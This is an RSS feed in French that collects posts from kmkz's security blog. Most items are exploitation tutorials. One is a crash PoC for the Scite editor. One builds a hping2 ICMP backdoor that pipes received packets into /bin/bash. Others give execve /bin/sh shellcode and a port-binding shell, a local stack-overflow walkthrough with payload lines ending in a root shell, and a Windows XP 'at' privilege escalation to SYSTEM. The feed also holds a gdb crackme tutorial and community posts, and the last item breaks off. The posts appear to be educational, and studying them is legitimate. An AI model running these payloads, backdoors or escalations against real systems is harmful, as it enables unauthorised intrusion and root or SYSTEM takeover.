<?xml version="1.0" encoding="utf-8"?>
<rss version="0.92">
<channel>
<title>SecuObs.com</title>
<link>http://www.secuobs.com</link>
<description>Observatoire de la securite Internet</description>
<language>fr</language>
<webMaster>webmaster@secuobs.com</webMaster>
 <item><title>  Scite Text Editor 176 PoC   Local BoF vulnerability     0 - Days  </title><description>2010-07-06 00:57:24 - kmkz's blog : Me revoila  P Je sais que j'ai pas mal zappé ce blog depuis quelques mois , néanmoins j'espere pouvoir m'y remettre entre 2 CTF  Bref, osef d'ma vie , place a la présentation , certe rapide , mais néanmoins simpa  bien que trés trés incomplete   du Buffer Overflow que j'ai eu l'occasion de découvrir dans la version 176 de Scite text Editor  L'environnement d'audit est un 2631-22 , néanmoins , les essais effectués sur des versions antérieures donne d'autres résultats assez surprenant  Cet article ne présentera qu'uniquement quelques dumps démontrant la vulnérabilité sans pour autant l'exploiter  l'exploitation aparaitra ici peu etre d'ici pas mal de temps , j'y reviendrait Place a quelques dump issus de GNU gdb  GDB  70 r  perl -e'print A x4096   x90 x90 x90 x90 '  Starting program   usr bin scite  perl -e'print A x4096   x90 x90 x90 x90 '   Thread debugging using libthread_db enabled    buffer overflow detected    usr bin scite terminated   Backtrace     lib tls i686 cmov libcso6 fortify_fail 0x48 0x9c7008   lib tls i686 cmov libcso6 0x9c6040   lib tls i686 cmov libcso6 strcpy_chk 0x44 0x9c53b4    dump objdump plus bas  usr bin scite 0x8082a71   usr bin scite 0x8083751   usr bin scite 0x805b59c   usr bin scite 0x8079382   usr bin scite 0x8070944   usr bin scite 0x805dc32   usr bin scite 0x805dd8a   lib tls i686 cmov libcso6 libc_start_main 0xe6 0x8fcb56   usr bin scite 0x8052d41    Memory map    00110000-0012b000 r-xp 00000000 08 01 146  lib ld-2101so 0012b000-0012c000 r--p 0001a000 08 01 146  lib ld-2101so 0012c000-0012d000 rw-p 0001b000 08 01 146  lib ld-2101so 0012d000-0012e000 r-xp 00000000 00 00 0  vdso  0012e000-004e6000 r-xp 00000000 08 01 262811  usr lib libgtk-x11-20so018003 004e6000-004e7000 ---p 003b8000 08 01 262811  usr lib libgtk-x11-20so018003 004e7000-004eb000 r--p 003b8000 08 01 262811  usr lib libgtk-x11-20so018003 004eb000-004ed000 rw-p 003bc000 08 01 262811  usr lib libgtk-x11-20so018003 004ed000-004ef000 rw-p 00000000 00 00 0 004ef000-00581000 r-xp 00000000 08 01 262814  usr lib libgdk-x11-20so018003 00581000-00583000 r--p 00092000 08 01 262814  usr lib libgdk-x11-20so018003 00583000-00584000 rw-p 00094000 08 01 262814  usr lib libgdk-x11-20so018003 00584000-0059f000 r-xp 00000000 08 01 263706  usr lib libatk-10so028091 0059f000-005a0000 r--p 0001b000 08 01 263706  usr lib libatk-10so028091 005a0000-005a1000 rw-p 0001c000 08 01 263706  usr lib libatk-10so028091 005a1000-005b9000 r-xp 00000000 08 01 262816  usr lib libgdk_pixbuf-20so018003 005b9000-005ba000 r--p 00017000 08 01 262816  usr lib libgdk_pixbuf-20so018003 005ba000-005bb000 rw-p 00018000 08 01 262816  usr lib libgdk_pixbuf-20so018003 005bb000-005c6000 r-xp 00000000 08 01 264322  usr lib libpangocairo-10so026000 005c6000-005c7000 r--p 0000a000 08 01 264322  usr lib libpangocairo-10so026000 005c7000-005c8000 rw-p 0000b000 08 01 264322  usr lib libpangocairo-10so026000 005c8000-0060e000 r-xp 00000000 08 01 264320  usr lib libpango-10so026000 0060e000-0060f000 r--p 00045000 08 01 264320  usr lib libpango-10so026000 0060f000-00610000 rw-p 00046000 08 01 264320  usr lib libpango-10so026000 00610000-00687000 r-xp 00000000 08 01 262362  usr lib libcairoso2108008 00687000-00689000 r--p 00076000 08 01 262362  usr lib libcairoso2108008 00689000-0068a000 rw-p 00078000 08 01 262362  usr lib libcairoso2108008 0068a000-006c6000 r-xp 00000000 08 01 263053  usr lib libgobject-20so022003 006c6000-006c7000 r--p 0003b000 08 01 263053  usr lib libgobject-20so022003 006c7000-006c8000 rw-p 0003c000 08 01 263053  usr lib libgobject-20so022003 006c8000-006cb000 r-xp 00000000 08 01 263054  usr lib libgmodule-20so022003 006cb000-006cc000 r--p 00002000 08 01 263054  usr lib libgmodule-20so022003 006cc000-006cd000 rw-p 00003000 08 01 263054  usr lib libgmodule-20so022003 006cd000-006cf000 r-xp 00000000 08 01 268014  lib tls i686 cmov libdl-2101so 006cf000-006d0000 r--p 00001000 08 01 268014  lib tls i686 cmov libdl-2101so 006d0000-006d1000 rw-p 00002000 08 01 268014  lib tls i686 cmov libdl-2101so 006d1000-006d5000 r-xp 00000000 08 01 263055  usr lib libgthread-20so022003 006d5000-006d6000 r--p 00003000 08 01 263055  usr lib libgthread-20so022003 006d6000-006d7000 rw-p 00004000 08 01 263055  usr lib libgthread-20so022003 006d7000-006de000 r-xp 00000000 08 01 268027  lib tls i686 cmov librt-2101so 006de000-006df000 r--p 00006000 08 01 268027  lib tls i686 cmov librt-2101so 006df000-006e0000 rw-p 00007000 08 01 268027  lib tls i686 cmov librt-2101so 006e0000-00795000 r-xp 00000000 08 01 972  lib libglib-20so022003 00795000-00796000 r--p 000b4000 08 01 972  lib libglib-20so022003 00796000-00797000 rw-p 000b5000 08 01 972  lib libglib-20so022003 00797000-0087d000 r-xp 00000000 08 01 262987  usr lib libstdc so6013 0087d000-00881000 r--p 000e6000 08 01 262987  usr lib libstdc so6013 00881000-00882000 rw-p 000ea000 08 01 262987  usr lib libstdc so6013 00882000-00889000 rw-p 00000000 00 00 0 00889000-008ad000 r-xp 00000000 08 01 268015  lib tls i686 cmov libm-2101so 008ad000-008ae000 r--p 00023000 08 01 268015  lib tls i686 cmov libm-2101so 008ae000-008af000 rw-p 00024000 08 01 268015  lib tls i686 cmov libm-2101so 008af000-008cb000 r-xp 00000000 08 01 546  lib libgcc_sso1 008cb000-008cc000 r--p 0001b000 08 01 546  lib libgcc_sso1 008cc000-008cd000 rw-p 0001c000 08 01 546  lib libgcc_sso1 008cd000-008e2000 r-xp 00000000 08 01 268025  lib tls i686 cmov libpthread-2101so 008e2000-008e3000 r--p 00014000 08 01 268025  lib tls i686 cmov libpthread-2101so 008e3000-008e4000 rw-p 00015000 08 01 268025  lib tls i686 cmov libpthread-2101so 008e4000-008e6000 rw-p 00000000 00 00 0 008e6000-00a24000 r-xp 00000000 08 01 265728  lib tls i686 cmov libc-2101so 00a24000-00a25000 ---p 0013e000 08 01 265728  lib tls i686 cmov libc-2101so 00a25000-00a27000 r--p 0013e000 08 01 265728  lib tls i686 cmov libc-2101so 00a27000-00a28000 rw-p 00140000 08 01 265728  lib tls i686 cmov libc-2101so 00a28000-00a2b000 rw-p 00000000 00 00 0 00a2b000-00b55000 r-xp 00000000 08 01 263622  usr lib libX11so620 00b55000-00b56000 ---p 0012a000 08 01 263622  usr lib libX11so620 00b56000-00b57000 r--p 0012a000 08 01 263622  usr lib libX11so620 00b57000-00b59000 rw-p 0012b000 08 01 263622  usr lib libX11so620 00b59000-00b5a000 rw-p 00000000 00 00 0 00b5a000-00b5c000 r-xp 00000000 08 01 263633  usr lib libXcompositeso100 00b5c000-00b5d000 r--p 00001000 08 01 263633  usr lib libXcompositeso100 00b5d000-00b5e000 rw-p 00002000 08 01 263633  usr lib libXcompositeso100 00b5e000-00b60000 r-xp 00000000 08 01 263637  usr lib libXdamageso110 00b60000-00b61000 rw-p 00001000 08 01 263637  usr lib libXdamageso110 00b61000-00b65000 r-xp 00000000 08 01 263643  usr lib libXfixesso310 00b65000-00b66000 r--p 00003000 08 01 263643  usr lib libXfixesso310 00b66000-00b67000 rw-p 00004000 08 01 263643  usr lib libXfixesso310 00b67000-00bfa000 r-xp 00000000 08 01 263056  usr lib libgio-20so022003 00bfa000-00bfb000 r--p 00092000 08 01 263056  usr lib libgio-20so022003 00bfb000-00bfc000 rw-p 00093000 08 01 263056  usr lib libgio-20so022003 00bfc000-00bfd000 rw-p 00000000 00 00 0 00bfd000-00c24000 r-xp 00000000 08 01 264324  usr lib libpangoft2-10so026000 Program received signal SIGABRT, Aborted 0x0012d422 in __kernel_vsyscall   Screen 0x0012d000   VDSO , ça peut etre utile dans le cas de certaines exploitation  gdb  x 79s  eip 0x12d422   0x12d424   shstrtab  0x12d42e   hash  0x12d434   dynsym  0x12d43c   dynstr  0x12d444   gnuversion  0x12d451   gnuversion_d  0x12d460   note  0x12d466   eh_frame_hdr  0x12d474   eh_frame  0x12d47e   dynamic  0x12d487   data  0x12d48d   text  0x12d493    Comme on peux le constater , le programme est stoppé brutalement suite a un débordement de tampon , essayons donc d'y voir plus clair    gdb  i stack  0 0x0012d422 in __kernel_vsyscall    1 0x009104d1 in  GI_raise  sig 6  at  nptl sysdeps unix sysv linux raisec 64  2 0x00913932 in  GI_abort   at abortc 92  3 0x00946fc5 in __libc_message  do_abort 2, fmt 0xa0881d   pourcentss   pourcentss terminated n  at  sysdeps unix sysv linux libc_fatalc 189  4 0x009c7008 in  GI___fortify_fail  msg 0xa087c7  buffer overflow detected  at fortify_failc 32  5 0x009c6040 in  GI___chk_fail   at chk_failc 29  6 0x009c536a in __strcat_chk   dest 0xbfff4734  home kmkz 0Days Scite_176 , 'A' , stack_end 0xbfffb51c  at libc-startc 220  14 0x08052d41 in      gdb  i auxv 32 AT_SYSINFO Special system info entry points 0x12d420 33 AT_SYSINFO_EHDR System-supplied DSO's ELF header 0x12d000 16 AT_HWCAP Machine-dependent CPU capability hints 0xbfebf3ff 6 AT_PAGESZ System page size 4096 17 AT_CLKTCK Frequency of times  100 3 AT_PHDR Program headers for program 0x8048034 4 AT_PHENT Size of program header entry 32 5 AT_PHNUM Number of program headers 9 7 AT_BASE Base address of interpreter 0x110000 8 AT_FLAGS Drapeaux 0x0 9 AT_ENTRY Entry point of program 0x8052d20 11 AT_UID Real user ID 1000 12 AT_EUID Effective user ID 1000 13 AT_GID Real group ID 1000 14 AT_EGID Effective group ID 1000 23 AT_SECURE Boolean, was exec setuid-like  0 25 AT_RANDOM Address of 16 random bytes 0xbfffb66b -- allons voir ce cet offset contient 31 AT_EXECFN File name of executable 0xbfffffed  usr bin scite  15 AT_PLATFORM String identifying platform 0xbfffb67b  i686  0 AT_NULL End of vector 0x0  gdb  x 48x 0xbfffb66b 0xbfffb66b  0x8a29b215 0x563d86b0 0xe525c77b 0x1a1921ee 0xbfffb67b  0x36383669 0x00000000 0x00000000 0x7273752f 0xbfffb68b  0x6e69622f 0x6963732f 0x41006574 0x41414141 0xbfffb69b  0x41414141 0x41414141 0x41414141 0x41414141 0xbfffb6ab  0x41414141 0x41414141 0x41414141 0x41414141 0xbfffb6bb  0x41414141 0x41414141 0x41414141 0x41414141 0xbfffb6cb  0x41414141 0x41414141 0x41414141 0x41414141 0xbfffb6db  0x41414141 0x41414141 0x41414141 0x41414141 0xbfffb6eb  0x41414141 0x41414141 0x41414141 0x41414141 0xbfffb6fb  0x41414141 0x41414141 0x41414141 0x41414141 0xbfffb70b  0x41414141 0x41414141 0x41414141 0x41414141 0xbfffb71b  0x41414141 0x41414141 0x41414141 0x41414141  Nos  A   0xbffff66b  0x41414141 0x41414141 0x41414141 0x41414141 0xbffff67b  0x41414141 0x41414141 0x41414141 0x41414141 0xbffff68b  0x41414141 0x41414141 0x00414141 0x4942524f 0xbffff69b  0x4f535f54 0x54454b43 0x3d524944 0x706d742f 0xbffff6ab  0x62726f2f 0x6b2d7469 0x007a6b6d 0x5f485353 0xbffff6bb  0x4e454741 0x49505f54 0x34313d44 0x47003033  13 0x008fcb56 in __libc_start_main  main 0x805dca1, argc 2, ubp_av 0xbfffb524, init 0x8106380, fini 0x8106370, rtld_fini 0x11dd20 , stack_end 0xbfffb51c  at libc-startc 220 Si on look a quelques offsets pret , on s'apperçois que nos  x41 se retrouve bien sur la stack  grace a stack_end et la ligne   25 AT_RANDOM Address of 16 random bytes 0xbfffb66b  entre autre     Début des  x41 a l'offset de fin de la stack  350 octets  soit 350 octets plus haut , la pile croit vers les adresses basses    On peux néanmoins déduire qu'il ne s'agit pas d'un cas classique de stack overflow car aucun registre n'est réécrit   pas d'EIP saved avant l'appel de fonction   Une de mes intuitions me poussa donc a déposer un breakpoint sur l'offset correspondant au début de la section dtors puis ctors   la dtors ne donnant rien  breakpoint sur ctors   r The program being debugged has been started already Start it from the beginning   y or n  y Starting program   usr bin scite  perl -e'print A x4096'   Thread debugging using libthread_db enabled  Program received signal SIGSEGV, Segmentation fault 0x0810643b in     crash a l'appel de la ctors   J'avoue que je suis assez perplexe , et que l'exploitation ne sera pas des plus easy , mais d'autres pistes ont germés depuis ces dumps  -  et puis c'est tout l'intéret aprés tout  J'espere que cette petite presentation de mon PoC concernant Scite 176 vous donnera envie de voir la suite  un jour peu etre qui sait   Link du PoC </description><link>http://www.secuobs.com/revue/news/237833.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/237833.shtml</guid></item>
<item><title>Manifeste pour la création d'une organisation hacker en France</title><description>Secuobs.com : 2009-09-03 22:55:47 - kmkz's blog -    À lire et à diffuser partout  blogs, forums, réseaux sociaux, famille, collègues, amis, camarades de lutte militante, etc  Nous avons  besoin  de retours, n'hésitez donc pas à critiquer et ou à remettre en question Version pdf Version txt Vous pouvez retrouver dg-sc sur SILC   silcdg-scorg  ou sur leur site  Bonne lecture a tous  IMAGE  </description><link>http://www.secuobs.com/revue/news/137634.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/137634.shtml</guid></item>
<item><title>Au commencement </title><description>Secuobs.com : 2009-05-31 19:52:55 - kmkz's blog - Salut a tous Bon ,ben je me lance moi aussi dans la création de mon "repère" ;Ici vous retrouverez mes papers et autres codes sources , qui vouspermettrons de découvrir mes travaux et projets dans le domaine de lasécurité informatique J'espere apporter ici des infos qui vous seront utiles kmkzIMAGE</description><link>http://www.secuobs.com/revue/news/104118.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104118.shtml</guid></item>
<item><title>Utilisations avancées de Hping2</title><description>Secuobs.com : 2009-05-31 19:52:55 - kmkz's blog - Salut a tous et a toutes Hping2 permet en effet de réaliser plusieurs choses intéréssantescomme l'envoi de paquets via les protocoles TCP,UDP ou ICMP enmodifiant leurs entetes exemple: HPING2 sitecom -p 80 -a ipautiliserici -SBon , ça on le sais , pas de souci , on peu aussi scanner avec grace ala commande --scan  HPING2 --scan 20-80 -S sitefrce qui renvoi lesnoms de services en écoute , les flags etc de cette maniere :user@localhost# hping2 --scan 20-80 -S sitefrScanning sitefr 21623959104, port 20-8061 ports to scan, use -V to see all the replies+----+-----------+---------+---+-----+-----+|port| serv name | flags |ttl| id | win |+----+-----------+---------+---+-----+-----+Bon , c'est bien zoli ça mais quand tu parlais d'utilisations avancéestu parlais de ça Mais non , rassurez-vous , ceci n'est qu'un rappel des bases de HpingApprofondissons maintenant :-Hping permet également d'envoyer des paquets contenants des donnéesvia les protocoles choisispar l'userVoici les fonctions le permettants :UDP: -2ICMP: -1TCP : par défautPour inclure les données a envoyer dans les paquets, on devra créer unfichier les contenants et utiliser la commande -E en indiquant le PATHdu fichierExemple: HPING2 -1 sitefr -E /user/Desktop/testtxt -d 50  -dpermet d'afficher la taille du fichier en octets bien surHping2 permet aussi d'écouter des paquets contenant une signaturechaine de caracteres sur une machine grace a l'instruction --listensignature -icmp si on utilise ce protocoleBon , maintenant imaginez que cette fonction soit utilisée sur unemachine autre que la votre en y ajoutant ceci : --listen signature-icmp | /bin/bash que ce passerai - t-il Et bien Hping servira alors de troyen En effet , si on l'utilise de cette maniere , alors il se met enécoute de paquets ICMP et transmet alors les données reçues auprogramme /bin/bash et , donc aurait pour effet d'exécuter un Shellsur la machine distante Il suffit donc d'envoyer un paquet ICMP avec en données une commandeShell sans oublier la signature pour que la paquet soitidentifiable,et ce de cette maniere :HPING2 iciipasaisir -e signature -E path/du/fichier/de/donnée -d 50-1Voila pour ce petit tuto sur les fonctions avancées de Hping2 a Bientot IMAGE</description><link>http://www.secuobs.com/revue/news/104117.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104117.shtml</guid></item>
<item><title>Shellcode et Port Binder  en ASM x86 32 Bits </title><description>Secuobs.com : 2009-05-31 19:52:55 - kmkz's blog - Voila , je débute dans l'Asm Je posterai ici mes avancées dans ce domaine passionant : celui dulangage "machine" Voici un exploit utilisant la fonction Syscall Execve , écrite icien ASM ,et ayant pour Argument la chaine de caractère que l'on adéfini au préalable commande a exécuter ,ainsi que le caractère defin de chaine : //bin/shCode réalisé dans le cadre d'une exploitation de Stack Overflow sursysteme UNIX explications et exploit complet a venir Remerciement a FaSm pour ces tutoriaux de qualités sans qui , ce codene serait certainement pas laLe code assembleur suivant permet l'ouverture d'un shell  /bin/sh BITS 32xor eax,eaxcdgpush eaxpush long 0x68732f6epush long 0x69622f2fmov ebx,esppush eaxpush ebxmov ecx,espmov al,0x0bint 0x80Ce qui , une fois transformé en hexadécimal donnerait :"x31xCOx99x50x68x2Fx2Fx73x68x68x2Fx62x69x6Ex89xE3x50x53x89xE1xBOxOBxCDx80"Soit un Shellcode en hexa de 24 octets Suite au fur et a mesure de mon avancement Autre exemple de code ASM trés utilisé :un Port Binding ShellLui aussi est basé sur le Syscall execve mais effectu une connexionvia un port Il créé la Socket , écoute et accepte une connexion tout en luioffrant un /bin/sh Voir le code ici : Port-binding-shellmerci a tous IMAGE</description><link>http://www.secuobs.com/revue/news/104116.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104116.shtml</guid></item>
<item><title>Local Stack Overflow Exploitation</title><description>Secuobs.com : 2009-05-31 19:52:55 - kmkz's blog - Comme promis précédemment, voici la suite de l'exploitation des StackOverflow sous UNIX en localPour les besoins de cet article , un code vulnérable vulnc ,ainsique notre shellcode seront nécéssaires  dans le cadre d'uneexploitation réelle , veillez a ce que le programme ait bien le suidroot  Vous verrez les programmes le possédant en tapant dans leterminal : "find / -type f -perm -04000 " ------ Progs utiles :ProgVulnérablele shellcode en hexadécimalExemple de Proof Of Concept basé sur vulnc------Dans ce code , la taille du Buffer est de 512 octetsLes sauvegardes registres , elles , sont codées en 4 octets registresde 32 BitsLes deux arguments de la fonction sont des adresses de buffer codéeselles aussi a 4 octetsOn peu donc en déduire que si nous arrivons a écrire 4 octetssupplémentaires sur la taille du buffer on écrasera alors les 4 octetsd' EBP Et si on écrit 4 octets de plus on devrait arrivé a écraser EIP ,ainsi , la valeur que l'on aura défini et qui écrasera EIP sera POPdans la pile et, donc lorsque le programme effectura un JUMP , il lefera sur cette valeur la Bon , maintenant , il faut tester le buffer afin de voir a quel momentnous écraserons suffisament la pile  ne pas oublié: on doit écraserEIP de façon a ce que le programme pointe sur l'adresse exacte enmémoire du début de notre shellcode ,afin d'exécuter le code injectéTestons :gdb r `perl -e 'print "A" x512  "AAAA"  "DCBA"' `Résultat:Program received signal SIGSEGV, Segmentation fault0x8048400 in main gdb# 1er test ici au départ 512 octets ce qui est insuffisantgdb r `perl -e 'print "A" x514  "AAAA"  "DCBA"' `Résultat:Program received signal SIGSEGV, Segmentation fault0x8004142 in  gdb# 2eme test on commence écraser EIP a 514 0x08004142On en déduit donc qu'avec 2 octets de plus donc "A" x516  soit 4 autotal , on doit arriver a 0x41424344 soit DCBA , la représentation enhexadécimal de DCBA gdb r `perl -e 'print "A" x516  "AAAA"  "DCBA"' `Résultat:Program received signal SIGSEGV, Segmentation fault0x41424344 in  gdbNotre objectif , je le rappelle est de faire JUMPER le programme surnotre code ASM injecté en mémoire afin d'exécuter un /bin/sh Le meilleur moyen d'y parvenir est de placer le code arbitraire enargument de l'exécutable pour le placer dans le buffer qui subira ledébordement de tamponOn écrase donc EIP avec l'adresse du début du shellcode pour avoir unshell /bin/sh root Pour écraser EIP on envoi 516 octets +2 octets pour arriver au débutde notre shellcode soit = "A" x518 , puis ABCD = total de 522 OctetsDonc pour arriver avant EIP, il faut 518 octets car au-dela , nousl'écraserontEn utilisera donc des NOP  ne fait rien jusqu'a ce que le shellcodesoit exécuté= Nous exécutons donc :A x 154 + 340 NOP 0x90 ou x90 + 24 octets du shellcode + octet pourEIP = 522 Octets On arrive alors a faire pointer ESP sur le début du shellcode aexécuterRAPPEL : l'écrasement d'un registre EIP , EBP  se fait par groupede 4 Octets On exécute le shellcode suivant :gdb r `perl -e 'print "A" x156  "x90" x340 "x31xCOx99x50x68x2Fx2Fx73x68x68x2Fx62x69x6Ex89xE3x50x53x89xE1xBOxOBxCDx80""DCBA" '`Puis , nous regardons ce qui se trouve dans EIPNous choisissons une adresse se situant parmis les NOPpar exemple : 0xbfa412f0Enfin , a la place de DCBA , on mettra: "xf0x12xa4xbf"ce qui par la suite deviendra: " x08xf3xffxbf"Cet offset ajouter a notre Shelcode donnera donc :gdb r `perl -e 'print "A" x156  "x90" x340 "x31xCOx99x50x68x2Fx2Fx73x68x68x2Fx62x69x6Ex89xE3x50x53x89xE1xBOxOBxCDx80""x08xf3xffxbf" ' `sh-31#Bingo  Nous avons obtenu notre shell root alors que le programme lui, a été lancé en utilisateur Voila , nous désormais , nous en savons un peu plus sur les StackOverflow Remerciments encore a FaSm pour son zine "Prog" et ses tutos surl'asm et les shellcodes IMAGE</description><link>http://www.secuobs.com/revue/news/104115.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104115.shtml</guid></item>
<item><title>Création d'un meeting 2600 a Nimes 30</title><description>Secuobs.com : 2009-05-31 19:52:55 - kmkz's blog - Salut a tous et a toutes Voila , suite a une discussion avec Decerebrain sur Irc , et étantdonné que rien ne se fait vers chez moi , j'aimerai essayer de lancerun meeting sur la région de Nimes Je rappelle que les meeting du 2600 sont ouvert a TOUS et qu'aucunniveau de connaissances n'est requis L'objectif unique de ces rencontres étant le partage d'infos entrepassionés d'informatique , de l'univers "underground " , la sécuritéet les nouvelles technologies en général-Si certains d'entre vous sont intéréssés , conatctez-moi par mail oulaissez moi un commentaire afin de savoir qui serait éventuellementintéréssé , posez vos questions et fixer ce qui deviendrai le point derendez-vous * Le jour de rendez-vous sera traditionnellement le 1er Vendredi dechaque mois , a partir de 17h Merci a tous site du 2600 FrIMAGE</description><link>http://www.secuobs.com/revue/news/104114.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104114.shtml</guid></item>
<item><title>Win XP patched Local Privilèges Escalation</title><description>Secuobs.com : 2009-05-31 19:52:55 - kmkz's blog - Salut a tous J'ai pas mal hésité , mais finalement je vais poster ce petit tutotrés basique portant sur une possibilitéd'élévation de privileges sous WindowsCe tuto a été inspiré de plusieurs autres trouvé sur le net Je précise aussi qu'il existe beaucoup d'autre façons de procéder afind'élever ses privilèges  boot sur live CD Linux pour récupérer le SAM,injection de DLL et j'en passe  ; ceci dit , ce que je vaisprésenté ici ne requiert aucune connaissances spécifique et ne demandeque trés peu de temp Pour ce faire nous devons :-posséder un compte utilisateur avec un minimum de droit , si ce n'estpas le cas , rebootez donc en mode sans échec puis passé en modeAdministrateur et enfin modifié vos droits d'utilisateur-vérifié que le service Planificateur des taches soit activé  comande"at"  nous allons y revenir dans la suiteL'élévation de privileges :Bon , tout est ok  Alors let's go Ouvrez votre invite de commandes MS-DOS  executer = cmd Regarder l'heure affiché sur votre bureau  exemple 10:00 et rentrezmaintenant la commande :at 10:02 /interactive "cmdexe"Une fois cette commande rentrée , vous devez obtenir quelque chosecomme :Tache ajoutée avec l'ID=1Vous pouvez alors vérifier les infos en tapant "at" dans le shell Maintenant attendon qu'il soit 10:02 a votre bureau A 10:02 leshell passera alors sur le compte System32 , gardez le shell ouvertpuis réduisez la fenetreBon , maintenant il suffi d'ouvrir le gestionnaire des tache et defermé le processus "explorerexe" ; une fois fait , retour sur notreinvite de commande MS-DOS :On rentre alors  en tant que System32 ,bien entendu  explorerexepour relancer le processus et réaffiché la barre des tachesVoila , vous etes désormais sur le compte le plus élevé du systemecelui de System , qui se trouve au-dessus de celui d'admin car l'admina certaines restrictions que System n'aura pas ouvrez le menu Démarrer et regarder la session ,le nom System yaparaitra alors IMAGE</description><link>http://www.secuobs.com/revue/news/104113.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104113.shtml</guid></item>
<item><title>Initiation aux bases du Reversing</title><description>Secuobs.com : 2009-05-31 19:52:55 - kmkz's blog - Salut a tous Ce nouvel article traitera d'un sujet trés intéréssant : les bases enmatiere de ReversingNous verrons ici seulement le strict minimum , ce qui permettra toutde meme d'acquérir quelque notions en la matiere ,et qui pourrait  onsais jamais  susciter des vocationsPour les besoins de cet article nous utiliseront un codes et unprogrammes de déboggage incontournable : GDB  sous Linux puis uncrack-me appellé "cm"codé en C trouvé sur un célèbre site Le principe ne changeant pas , je n'ai pas trouvé d'intéret a en coderd'autre  ba ouai quoi Trève de bavardages place a l'article now :Le Crack-me1Ici nous cherchons donc le password , bien , pour cela nous devonsd'abord désassembler le "main"  fonction pricipale du programme afind'y placer un "break point"  point d'arret destiné a stopper leprogramme a l'endroit que l'on veut examiner , soit l'endroit ou leprogramme teste l'entrée utilisateur ou a la fin de celle ci selon lafaçon choisie Commençons par lancer GDB avec "cm" puis désassemblons le "main" avecl'instruction " disas main" de GdbVous devriez avoir quelque chose comme ça :user@localhost asm$ gdb cmGNU gdb 66-3mdv20080  Linux release 20080Copyright C 2006 Free Software Foundation, IncGDB is free software, covered by the GNU General Public License, andyou arewelcome to change it and/or distribute copies of it under certainconditionsType "show copying" to see the conditionsThere is absolutely no warranty for GDB Type "show warranty" fordetailsThis GDB was configured as "i586-mandriva-linux-gnu"Using host libthread_db library "/lib/i686/libthread_dbso1"gdb disas mainDump of assembler code for function main:0x080483a4 : lea 0x4%esp,%ecx0x080483a8 : and $0xfffffff0,%esp0x080483ab : pushl 0xfffffffc%ecx0x080483ae : push %ebp0x080483af : mov %esp,%ebp0x080483b1 : push %ecx0x080483b2 : sub $0x24,%esp0x080483b5 : mov %ecx,0xffffffe8%ebp0x080483b8 : mov 0xffffffe8%ebp,%eax0x080483bb : cmpl $0x2,%eax0x080483be : jne 0x80484260x080483c0 : mov 0xffffffe8%ebp,%edx0x080483c3 : mov 0x4%edx,%eax0x080483c6 : add $0x4,%eax0x080483c9 : mov %eax,%eax0x080483cb : mov %eax,0x4%esp0x080483cf : movl $0x8048500,%esp0x080483d6 : call 0x80482f00x080483db : mov 0x8048552,%eax0x080483e0 : mov 0x8048556,%edx0x080483e6 : mov %eax,0xfffffff4%ebp0x080483e9 : mov %edx,0xfffffff8%ebp0x080483ec : mov 0xffffffe8%ebp,%edx0x080483ef : mov 0x4%edx,%eax0x080483f2 : add $0x4,%eax0x080483f5 : mov %eax,%edx0x080483f7 : lea 0xfffffff4%ebp,%eax0x080483fa : mov %eax,0x4%esp0x080483fe : mov %edx,%esp0x08048401 : call 0x80483100x08048406 : test %eax,%eax0x08048408 : jne 0x80484180x0804840a : movl $0x8048514,%esp0x08048411 : call 0x80483000x08048416 : jmp 0x80484320x08048418 : movl $0x8048527,%esp0x0804841f : call 0x80483000x08048424 : jmp 0x80484320x08048426 : movl $0x804853e,%esp0x0804842d : call 0x80483000x08048432 : mov $0x0,%eax0x08048437 : add $0x24,%esp0x0804843a : pop %ecx0x0804843b : pop %ebp0x0804843c : lea 0xfffffffc%ecx,%esp0x0804843f : retEnd of assembler dumpOk , maintenant cherchons un peu ou se trouve l'endroit qui nousintéresse Ici , j'ai personnellement choisi de placé mon Break Point a la fin dela condition c'est a dire juste avante le " Mauvais mot de passe "  façon certe inabituelle mais efficace tout de meme ,comme vous pourrezle constatez par la suitePour le break point nous choisirons donc l'adresses 0x8048419 puisque:0x08048408 : jne 0x8048418 ; saute a l'adresse main+116 si non égalitéNous en déduisons donc que Main+116 se trouve entre l'instruction"else" et "printf"Mauvais mot de passe ";" car on y est renvoyési il y a une inégalitéChoisissons donc la l'adresse 0x8048419 soit main+117 de cette maniere:gdb b *main+117Breakpoint 1 at 0x8048419: file /cmc, line 15 ; message indiquant lacréation du break pointOk , lançons donc le crack-me "cm" en passant 40*a en argument puisobservons ce qui se passe :gdb r aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaStarting program: /home/kmkz/Bureau/asm/cmaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaVous avez ecrit aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaProgram received signal SIGILL, Illegal instructionmain ac=2, av=0xbf90e174 at /cmc:1515 printf"Mauvais mot de passe ";Bon , nous avions vu juste , l'adresse pointait bel et bien sur la finde la condition Afin de le vérifié , utilisons la commande "list" deGdb pour voir exatement ou le break point stoppe le programme :gdb list10 {11 printf"Bon mot de passe ";12 }13 else14 {15 printf"Mauvais mot de passe ";16 }17 }18 else19 {Tout va bien , on est sur la bonne voie o/ C'est bien beau , mais le pass dans tout ça  il est ou Bah pour le trouver maintenant il nous faut l'adresse du pointeur ESPafin de voir ce qui s'y trouve , pour cela commençons par trouverl'adresse de nos 40*a passé en argument puis tentons de remonter a lapile :gdb print av1 ; nos "a" étant l'argument 1$1 = 0xbf910255 'a' repeats 40 times ; répétés 40 fois on est okPoursuivons par l'affichage de tout les argument passés au programmestockés dans "av" :gdb print av$2 = char ** 0xbf90e174Maintenant nous possédons l'adresse du tableau d'argument du programme"cm" , alons donc voir ce qu'il contient a partir de cette adressemémoireBienvenu dans :"la Pile "Nous utilisons ici l'instruction x/16x afin d'afficher les 16*4 octetscontenu dans la pile :gdb x/16x 0xbf90e1740xbf90e174: 0xbf91023c 0xbf910255 0x00000000 0xbf91027e0xbf90e184: 0xbf910291 0xbf9102a6 0xbf9102b9 0xbf9102d00xbf90e194: 0xbf9102e3 0xbf9102fb 0xbf91030f 0xbf91031a0xbf90e1a4: 0xbf91032a 0xbf910337 0xbf910388 0xbf910396av étant le 